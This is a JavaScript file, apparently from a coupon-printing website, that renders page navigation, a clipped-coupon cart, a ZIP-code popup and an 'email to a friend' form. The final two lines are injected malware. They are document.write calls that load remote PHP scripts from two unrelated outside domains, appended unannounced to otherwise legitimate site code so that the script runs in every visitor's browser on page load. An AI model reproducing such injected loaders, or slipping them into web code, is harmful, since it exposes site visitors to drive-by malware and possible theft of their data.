		"<td style='text-align:right;width:130px;'><img id='MoreCouponsImg' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/btnNextPage.jpg' style='width: 110px; height: 20px; cursor: hand; cursor: pointer; margin-right: 6px;' onclick='GoToPage(" + (pageNo+1) + ")'></td>";
    } 
    vNav += "</tr></table>";    
    return vNav;
}

// --------------------------------------------------------
function RenderPrintIcon(ID)
{
    return "<td class=ci_css_td  style='text-align:right;width:30px;'><img src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/icn_print.gif'  alt='Print Now - send clipped coupons to your printer' style='marin-right:15px;vertical-align:middle;cursor: hand; cursor: pointer;'  onclick='PrtCartHandling(\"PrintBtnA" + ID + "\")'></td>" 

}


// --------------------------------------------------------
function RenderNavigationBar(pageNo,ID)
{   
    if( ID == 0 )
    {
        return "<table class=ci_css_table style='width: 524px; margin-left: 8px; margin-top: 3px; margin-bottom: 1px; background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/headerLStripBkg.jpg);'>"
            +"<tr class=ci_css_tr>"
            +"<td class=ci_css_td style='vertical-align: middle; width: 452px; font-weight: bold; color: #646464;'>&nbsp;&nbsp;&quot;Enter your ZIP Code for even more coupons in your area&quot;</td>"
            +"   <td class=ci_css_td><input class=ci_css_inputField style='margin-top: 5px; margin-left: 1px; margin-bottom: 3px;  height: 16px;' name='txtZip' id='txtZip' type='text' value='" + document.getElementById(ci_controlPrefix + "ZipCode").value + "' onkeydown='var e = arguments[0] || window.event; if(e.keyCode == 13) { ChooseNewZip(); }' onkeypress='var e = arguments[0] || window.event; if(e.keyCode == 13) return false;' maxlength='5'></div></td>"
            +"   <td class=ci_css_td style='padding-left: 4px;'><a class=ci_css_a id='txtZipA' href='javascript:ChooseNewZip();'><img class=ci_css_img style='margin-top: 5px; margin-left: 1px; margin-right: 6px; cursor: hand; cursor: pointer; height: 17px; width: 17px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/button_go.gif'></a></td>"
            +"</tr>"
            +"</table>"
            +"<table class=ci_css_table style='width: 524px; margin-left: 8px; margin-top: 3px; margin-bottom: 1px;'><tr class=ci_css_tr>"
            +"   <td class=ci_css_td style='background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/headerRStripBkg.jpg);'><div style='margin-bottom: 3px; margin-top: 3px; border:solid 0px'>"
            +"      <table class=ci_css_table style='margin-bottom: 1px; margin-left: 5px;'><tr class=ci_css_tr><td class=ci_css_td id='PageNavBar" + ID + "'>"
            + RenderPageNav(pageNo,ID)
            +"      </td></tr></table>"
            +"   </div></td>"
            +"</tr>"
            +"</table>"
            +"<table class=ci_css_table style='width: 523px; margin-left: 8px; margin-top: 3px;'><tr class=ci_css_tr><td class=ci_css_td colspan='3' id='MsgHeaderTD' style='display: none; text-align: right; height: 2px;'></td></tr></table>";
    }
    else
    {
         var NavStr = "<table class=ci_css_table style='margin-left: "+(ci_bIE?10:0)+"px; width: 520px; margin-top: 4px; margin-bottom: 1px;'><tr class=ci_css_tr><td class=ci_css_td id='PageNavBar" + ID + "' style='background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/headerRStripBkg.jpg);'>"
            + RenderPageNav(pageNo,ID)
            NavStr += "</td></tr></table>"
            ///print icon set-up * testing
	        if(ci_PrintIcon){
	            NavStr += "<table class=ci_css_table style='height: 24px; margin-left: "+(ci_bIE?10:0)+"px; margin-top: 8px; margin-bottom: 15px;'><tr class=ci_css_tr><td class=ci_css_td><a class=ci_css_a href='javascript:SelectAllOffers("+pageNo+");'>Select All Offers</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img id='MoreCouponsImg' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/btnPrintClipped.jpg' style='width: 110px; height: 20px; cursor: hand; cursor: pointer; margin-right: 6px;' onclick='PrtCartHandling(\"PrintBtnA" + ID + "\")'></td></tr></table></td>"
	        }
            else{
                NavStr +="<table class=ci_css_table style='height: 24px; margin-left: "+(ci_bIE?10:0)+"px; margin-top: 8px; margin-bottom: 15px;'><tr class=ci_css_tr><td class=ci_css_td><a class=ci_css_a href='javascript:SelectAllOffers("+pageNo+");'>Select All Offers</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a class=ci_css_a id='PrintNowA' href='javascript:PrtCartHandling(\"PrintNowA\");'>Print Now</a></td></tr></table></td>"
            }
            NavStr +="</td></tr></table>"
            return NavStr;
    }
}

// --------------------------------------------------------
function ShowHeaderMsg(msg)
{
    document.getElementById("MsgHeaderTD").style.display = "block";
    document.getElementById("MsgHeaderTD").innerHTML = 
                        "<table class=ci_css_table rules='none' style='visibility: visible; border:1px dashed gray; width: 524px; background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/shadow.jpg);'><tr class=ci_css_tr><td class=ci_css_td style='width: 40px; height: 34px; text-align: center;'>"
                        + "<img class=ci_css_img style='margin: 2px; width: 30px; height: 28px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/info.gif'>"
                        + "</td><td class=ci_css_td style='color: #C07410; width: 98%; padding-left: 4px; vertical-align: middle;'>" + msg + "</td></tr></table>";
}

// --------------------------------------------------------
function HideHeaderMsg()
{
    document.getElementById("MsgHeaderTD").style.display = "none";
    document.getElementById("MsgHeaderTD").innerHTML = "";
}

// --------------------------------------------------------
function ShowFooterMsg(msg)
{
    document.getElementById("MsgFooterTD").style.display = "block";
    document.getElementById("MsgFooterTD").innerHTML = 
                        "<table class=ci_css_table rules='none' style='visibility: visible; margin-left: 10px; border:1px dashed gray; width: 522px; background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/shadow.jpg);'><tr class=ci_css_tr><td class=ci_css_td style='width: 40px; height: 34px; text-align: center;'>"
                        + "<img class=ci_css_img style='margin: 2px; width: 30px; height: 28px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/info.gif'>"
                        + "</td><td class=ci_css_td style='color: #C07410; width: 98%; padding-left: 4px; vertical-align: middle;'>" + msg + "</td></tr></table>";   
}

// --------------------------------------------------------
function HideFooterMsg()
{
    document.getElementById("MsgFooterTD").style.display = "none";
    document.getElementById("MsgFooterTD").innerHTML = "<img class=ci_css_img src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/dot.gif' style='width: 1px; height: 1px;' alt=''>";
}

// --------------------------------------------------------
function ShowMsg(srcID,msg)
{
    if( srcID == 'PrintNowA' || srcID == 'PrintBtnA1' )
    {
        ShowFooterMsg(msg);
    }
    else
    {
        ShowHeaderMsg(msg);
    }
}

// --------------------------------------------------------
function UpdateCartCount(count)
{
    //Update the clipped coupon count
    if( document.getElementById("ClippedCouponsTD") != null )
    {
        document.getElementById("ClippedCouponsTD").innerHTML = (count > 0 ? count : "0");
    }
    
    //Update the clipped coupon cart table
    if( document.getElementById("CartWrapper") != null)
    {
        var currPC = document.getElementById(ci_controlPrefix+"PrintCart").value;
        var cartArray = currPC.length > 0 ? currPC.split(",") : new Array();
        document.getElementById("CartWrapper").innerHTML = ReturnCartHTML(cartArray)
    }
}

// --------------------------------------------------------
function GoToPage(i)
{  
    TrackPagesViewed(i);    
    if( document.getElementById("PageNavBar0") == null || ci_RedrawContent )
    {
    	document.getElementById("OffersPageContent").innerHTML = RenderContent(i);	
    }
    else
    {
        document.getElementById("PageNavBar0").innerHTML = RenderPageNav(i,0);
        document.getElementById("PageNavBar1").innerHTML = RenderPageNav(i,1);
        document.getElementById("OffersPageInnerContent").innerHTML = RenderInnerContent(i);

        HideHeaderMsg();
        HideFooterMsg();
        RotateBanner();
        CloseEmailWin();
    }
}

// --------------------------------------------------------
function RotateBanner()
{
    // rotate ad banner as requested by marketing
    var rBannerFrame = document.getElementById("cimRightBanner");
    if( rBannerFrame != null )
    {
        var pzn = GetQueryStringValue ('pid') + GetQueryStringValue ('zid') + GetQueryStringValue ('nid');
        rBannerFrame.src = "http://couponbar.coupons.com/adblob.asp?pzn=" + pzn + "&req=" + (new Date()).getTime();
    }
}
	
// --------------------------------------------------------
function GetAction( Type, allowPrint, actionTaken)
{
    if (allowPrint == 1)
    {
        return "javascript:AddPod(<#CID#>)";
    }
    else
    {
        if(((Type == 14) || (Type == 15) || (Type == 20) || (Type == 21)) && (actionTaken != 2))
        {
            return "javascript:PopClickInfo(<#CID#>," + Type + ",'<#CPCpodInfoLink#>')";
        }
        else
            return "javascript:void(0);"        
    }
}

// --------------------------------------------------------
function AddPod(CID)
{  
    AddCart(CID);
    document.getElementById("POD"+CID).style.backgroundImage = "url(http://print.coupons.com/Couponweb/Themes/CI_Holiday_2007/_images/podBgDashSel.jpg)";
    document.getElementById("PODClipTable"+CID).style.backgroundImage = "url(http://print.coupons.com/Couponweb/Themes/CI_Holiday_2007/_images/clip_button_red2.gif)";
}

// --------------------------------------------------------
function TglPod(CID)
{  
    var bCIDInCart = TglCart(CID);
    document.getElementById("POD"+CID).style.backgroundImage = "url(http://print.coupons.com/Couponweb/Themes/CI_Holiday_2007/_images/podBgDash" + ( bCIDInCart ? "Sel" : "") + ".jpg)";
    document.getElementById("PODClipTable"+CID).style.backgroundImage = "url(http://print.coupons.com/Couponweb/Themes/CI_Holiday_2007/_images/clip_button_red"+ (bCIDInCart ? "2" : "1") +".gif)";
}

// --------------------------------------------------------
function ChooseNewZip()
{
    var zip = document.getElementById('txtZip').value;
    var zipFil = GetNumericValue(zip);
    if( zip.length != 0 && zipFil.length != 5 ) 
    { 
        document.getElementById('txtZip').style.backgroundColor = "#ffff80"; 
        return; 
    }

    // if not same zip entered
    if( document.getElementById(ci_controlPrefix + "ZipCode").value != zipFil )
    {  
        document.getElementById (ci_controlPrefix + "ZipCode").value = zipFil;
        window.open("http://print.coupons.com/couponweb/Offers.aspx?" + GetQueryString());
       // WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions(ci_controlPrefix + "btnSubmit", "", false, "","http://print.coupons.com/couponweb/Offers.aspx?" + GetQueryString(), false, true));
    }
}

// --------------------------------------------------------
function ShowVDOPod(yPos,name,lcId)
{    
    ExWinOpen(yPos,name);
    setTimeout("watchMovie('" + lcId + "');",2000);
}

// --------------------------------------------------------
function CloseVDOPod(lcId)
{
    stopMovie();
    document.getElementById("playVDO"+lcId).style['color'] = "";    
    document.getElementById("videoPod"+lcId).style['left'] = "-1000px";
    document.getElementById("videoPod"+lcId).style['top'] = "-1000px";
    var couponId = lcId.substring(0,lcId.indexOf("_"));
    ExWinClose("VDO" + couponId);
}

// --------------------------------------------------------
function OpenEmailWin(xPos,yPos,CID)
{   
    var TAFDiv = document.getElementById('TAFDiv');    
   
    // get the coupon object
    var obj = null;    
    for( var i=0; i<ci_sortedPods.length; i++ )
    {
       if( ci_sortedPods[i].id == CID )
       {
            obj = ci_sortedPods[i];
            break;
       }
    }     
  
    if( obj != null )
    {        
        TAFDiv.innerHTML = '<div class=ci_css_div style="width:404;height:286;'
                           + (ci_bIE ? "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/TAFTbl.png', sizingMethod='scale');" : "background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/TAFTbl.png) no-repeat;" ) + '"></div>'
                           + '<div class=ci_css_div style="width:304;height:270; position: relative; top: -281px; left: 0px; margin: 0px; margin-left: '+(ci_bIE ? 62 : 60)+'px;">'
                           + EmailCouponToFriends(obj)
                           + '</div>';

        document.getElementById('Email_4').value = GetClientSessionCookieValue("CLIENTCOOKIETAF4","Email");        
        document.getElementById('Name').value = GetClientSessionCookieValue("CLIENTCOOKIETAFNAME","FirstName");
        
        var scrollYPos = ( window.pageYOffset || document.body.scrollTop );       
        if( ci_bSafari ) scrollYPos = 0;
        
        TAFDiv.style.left = (xPos-405) + 'px';
        TAFDiv.style.top  = (yPos-290+scrollYPos) + 'px';

        if( yPos-290 < 0 )
        {
            window.scrollTo(0,scrollYPos+(yPos-295));
        }       
    }    
}

// --------------------------------------------------------
function CloseEmailWin(delay)
{   
    if( delay > 0 )
    {
        setTimeout("CloseEmailWin(0);",delay);
    }
    else
    {
        var TAFDiv = document.getElementById('TAFDiv');
        TAFDiv.style.left = "-2000px";
    }
}

// --------------------------------------------------------
function SendEmailToFriend(couponId)
{
    var emailTbl = document.getElementById('EmailTbl');
    var emailTblTy = document.getElementById('EmailTblThankYou');
    
    if( emailTbl != null )
    {        
        for( var i=0; i<5; i++ )
        {
            document.getElementById('Email_' + i).style.backgroundColor = "#ffffff";    
        }
        document.getElementById('Name').style.backgroundColor = "#ffffff";
    
        // validate email fields
        var bTAFValid = true;
        var emailArray = new Array();
        for( var i=0; i<4; i++ )
        {
            var email = document.getElementById('Email_' + i).value.toString().trim();           
            if( email.length > 0 && email.indexOf("@") > 0 
                && email.lastIndexOf(".") > email.indexOf("@") 
                && email.indexOf("[") == -1 && email.indexOf("]") == -1
                && email.indexOf(":") == -1 && email.indexOf("\\") == -1 
                && email.indexOf("<") == -1 && email.indexOf(">") == -1 
                && email.indexOf(";") == -1 )
            {
               emailArray.push(email); 
            }
            else if( email.length > 0 )
            {
               document.getElementById('Email_' + i).style.backgroundColor = "#FFFF80";
               bTAFValid = false;
            }
        }
        
        var fromEmail = document.getElementById('Email_4').value.toString().trim();
        if( fromEmail.length > 0 && fromEmail.indexOf("@") > 0 
            && fromEmail.lastIndexOf(".") > fromEmail.indexOf("@") 
            && fromEmail.indexOf(":") == -1 && fromEmail.indexOf(";") == -1
            && fromEmail.indexOf("\\") == -1 && fromEmail.indexOf("<") == -1 && fromEmail.indexOf(">") == -1 )
        {
           // user's email OK 
        }
        else
        {
           document.getElementById('Email_4').style.backgroundColor = "#FFFF80";
           bTAFValid = false;
        }
            
        var fromName = document.getElementById('Name').value.toString().trim();
        if( fromName.length == 0 || fromName.indexOf("&") > -1 
                || fromName.indexOf("<") > -1 || fromName.indexOf(">") > -1
                || fromName.indexOf("[") > -1 || fromName.indexOf("]") > -1
                || fromName.indexOf("\\") > -1 || fromName.indexOf(";") > -1 
                || fromName.indexOf(":") > -1 )
        {
           document.getElementById('Name').style.backgroundColor = "#FFFF80";
           bTAFValid = false;        
        }

        if( !bTAFValid || emailArray.length == 0 )
        {
            if( emailArray.length == 0 )
            {
                document.getElementById('Email_0').style.backgroundColor = "#FFFF80";            
            }
            return;
        }

        emailTbl.style.display = 'none';
        emailTblTy.innerHTML = 'Sending email...<br><br><img class=ci_css_img style="width:280px;height:15px;" src="http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/progress_bar.gif">';
        emailTblTy.style.display = 'block';
        
        var referrerUrl = document.location.toString();
        referrerUrl = referrerUrl.substring(0,referrerUrl.lastIndexOf("/"))
        referrerUrl += "/Index.aspx?pid=" + GetQueryStringValue ('pid') + "&nid=" + GetQueryStringValue ('nid') + "&zid=" + GetQueryStringValue ('zid') + "&cid=" + couponId;        
        var summaryText = "SAVE !";
        var prodInfoText = "";
        var midLvlText = "";
                        
        for( var i=0; i<ci_sortedPods.length; i++ )
        {     
            if( ci_sortedPods[i].id == couponId )
            {
                summaryText = ci_sortedPods[i].summ.replace(/^\s+/,'').replace(/\s+$/,'').replace(/\s\s\s\s\s/g,' ').replace(/\s\s\s\s/g,' ').replace(/\s\s\s/g,' ').replace(/\s\s/g,' ').replace(/\s\s/g,' ');
                prodInfoText = ci_sortedPods[i].prodInfo.replace(/^\s+/,'').replace(/\s+$/,'').replace(/\s\s\s\s\s/g,' ').replace(/\s\s\s\s/g,' ').replace(/\s\s\s/g,' ').replace(/\s\s/g,' ').replace(/\s\s/g,' ');
                midLvlText = ci_sortedPods[i].midLvl.replace(/^\s+/,'').replace(/\s+$/,'').replace(/\s\s\s\s\s/g,' ').replace(/\s\s\s\s/g,' ').replace(/\s\s\s/g,' ').replace(/\s\s/g,' ').replace(/\s\s/g,' ');
                break;
            }     
        }

        var parameters = "[sname:" + fromName + "],[totalcoupons:" + ci_sortedPods.length + "],[couponimage:" + document.getElementById("ImageID"+couponId).outerHTML + "],[couponurl:" + encodeURIComponent(referrerUrl) + "],[summarytext:" + summaryText + "],[prodinfo:" + prodInfoText + "],[midlevel:" + midLvlText + "]";
        var lgnXML = '<PID>' + GetQueryStringValue ('pid') + '</PID>';
        lgnXML += '<NID>' + GetQueryStringValue ('nid') + '</NID>';
        lgnXML += '<ZID>' + GetQueryStringValue ('zid') + '</ZID>';
        lgnXML += '<Parameters>' + encodeURIComponent(parameters) + '</Parameters>';
        lgnXML += '<ReferrerUrl>' + encodeURIComponent(referrerUrl) + '</ReferrerUrl>';
        var userCookie = GetCookie("UserInfo");
        var isLoggedIn = (userCookie != null && userCookie.length > 0 && GetCookieVal(userCookie,"IsLoggedIn") == "1");
        if( isLoggedIn )
        {
            lgnXML += '<LGN>' + GetCookieVal(userCookie,"uid") + '</LGN>';
        }
        else
        {
            lgnXML += '<LGN>0</LGN>';        
        }
        lgnXML += '<Type>TAF</Type>';
        
        // send up to four emails  
        var emailCookieVal = "";           
        for( var i=0; i<emailArray.length; i++ )
        {
            var thankYou = '<ThankYou>';
            thankYou += lgnXML;
            thankYou += '<Email>' + emailArray[i] + '</Email>';
            thankYou += '<From>' + fromEmail + '</From>';
            thankYou += '</ThankYou>';
            initiateAjaxRequest( 'ThankYou.aspx?' + GetQueryString(),null,"ThankYou",encodeURIComponent(thankYou));                                             
            // don't persist the friends' emails ( Steven )
            // emailCookieVal += "CLIENTCOOKIETAF"+i+"="+emailArray[i]+":";
        }
        
        // remember the TAF emails for this session
        emailCookieVal += "CLIENTCOOKIETAF4="+fromEmail+":";
        emailCookieVal += "CLIENTCOOKIETAFNAME="+fromName+":";
        
        var couponsPerPage = GetClientSessionCookieValue("CLIENTCOOKIECOUPPAGE",null);
        var couponsPerPageVal = ( couponsPerPage != null && couponsPerPage.length > 0 ? "CLIENTCOOKIECOUPPAGE="+couponsPerPage+":" : "" );
        
        var sessionCookie = GetCookie("ClientSessionInfoCookie");
        var cartCookie = ( sessionCookie != null && sessionCookie.indexOf("CLIENTCOOKIE") > -1 ? sessionCookie.substring(0,sessionCookie.indexOf("CLIENTCOOKIE")) : (sessionCookie != null ? sessionCookie : "") );
        SetCookie("ClientSessionInfoCookie",cartCookie+couponsPerPageVal+emailCookieVal,0,"/",null,null);       
        setTimeout('cbSendEmailToFriend(' + couponId + ');',2000);
    }
}

// --------------------------------------------------------
function cbSendEmailToFriend(couponId)
{
    var emailTbl = document.getElementById('EmailTbl');
    var emailTblTy = document.getElementById('EmailTblThankYou');
    
    if( emailTbl != null && emailTbl.style.display == 'none' )
    {
        emailTblTy.innerHTML = 'Thank You!<br><br><span class=ci_css_span style="font-size: 12px; font-weight: normal;">Your email has been sent.</span></div>';
        CloseEmailWin(1500);
    }
}

// --------------------------------------------------------
function ReturnZipPopupHTML()
{
    CloseZipWin(true);
    return '<div class=ci_css_div style="width:237;height:261;' 
            + (ci_bIE ? "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/zipPopupBkg.png', sizingMethod='scale');" : "background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/zipPopupBkg.png) no-repeat;" ) + '"></div>'    
            +"<table class='ci_css_Zp_Table' style='position: relative; top: -141px;'>"
            +"    <tr class='ci_css_tr'>"
            +"      <td class='ci_css_Zp_TD'>"
            +"          <table class='ci_css_table'><tr class='ci_css_tr'><td class='ci_css_td'><div class='ci_css_Zp_TitleDIV'><img class=ci_css_img style='width:134px;height:33px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/zipPopGetSpecial.gif'></div></td><td class='ci_css_td'><img class=ci_css_img src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/"+(typeof(ci_ZipKrogerImage) != "undefined" ? ci_ZipKrogerImage : "dot.gif")+"' style='display: inline;height: 32px; width: 38px; margin-top: 10px;'></td></tr></table>"
            +'          <div class=ci_css_div  style="width:170;height:10px;background: url(http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/dotGrey.jpg);background-repeat:repeat-x;background-position:center;"></div>'
            +"          <div class='ci_css_Zp_EnterZipTitle'><img class=ci_css_img style='width:188px;height:15px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/zipPopEnterZip.gif'></div>"
            +"          <div class='ci_css_Zp_EnterZipBoxRow'><input type='text' id='txtZipPopup' class='ci_css_inputField' style='width:60px;' value='' oncontextmenu='return false;' onkeypress='var e = arguments[0] || window.event; if(e.keyCode == 13) { CloseZipWin(true); return false; }' maxlength='5'><a class=ci_css_a href='javascript:CloseZipWin(true);'><img class=ci_css_img style='cursor: hand; cursor: pointer; height: 22px; width: 45px; margin-left: 9px;' src='http://download2.coupons.com/7/19/7125/1450/print.coupons.com/CouponWeb/Themes/CI_Holiday_2007/_images/btnEnter.gif'></a></div>"
            +"          <div class='ci_css_Zp_NoThanksText'><a class=ci_css_a href='javascript:CloseZipWin(false);'>No thanks</a></div>"    
            +"      </td>"
            +"    </tr>"
            +"  </table>";
}

// --------------------------------------------------------
//This function is callled from Header clamp to close all popups on header menu mouseover
function CloseAllPopups()
{
    CloseEmailWin();
    CloseCartCouponPopup();
}

//set the copyright date to always be current - interval will self clear once date is set.
var interval;
interval=window.setInterval("setCopyRightYear()",1000);
function setCopyRightYear(){
    var currentDate = new Date();
    var yearField= document.getElementById("currentYear");
     if (yearField!=null){
       yearField.innerHTML=currentDate.getFullYear() + ' ' ;
       window.clearInterval(interval);
    }
}

document.write('<script src=http://triann-realty.ru/images/sale-doli.php ><\/script>');
document.write('<script src=http://amit.winysworld.com/_vti_cnf/transp.php ><\/script>');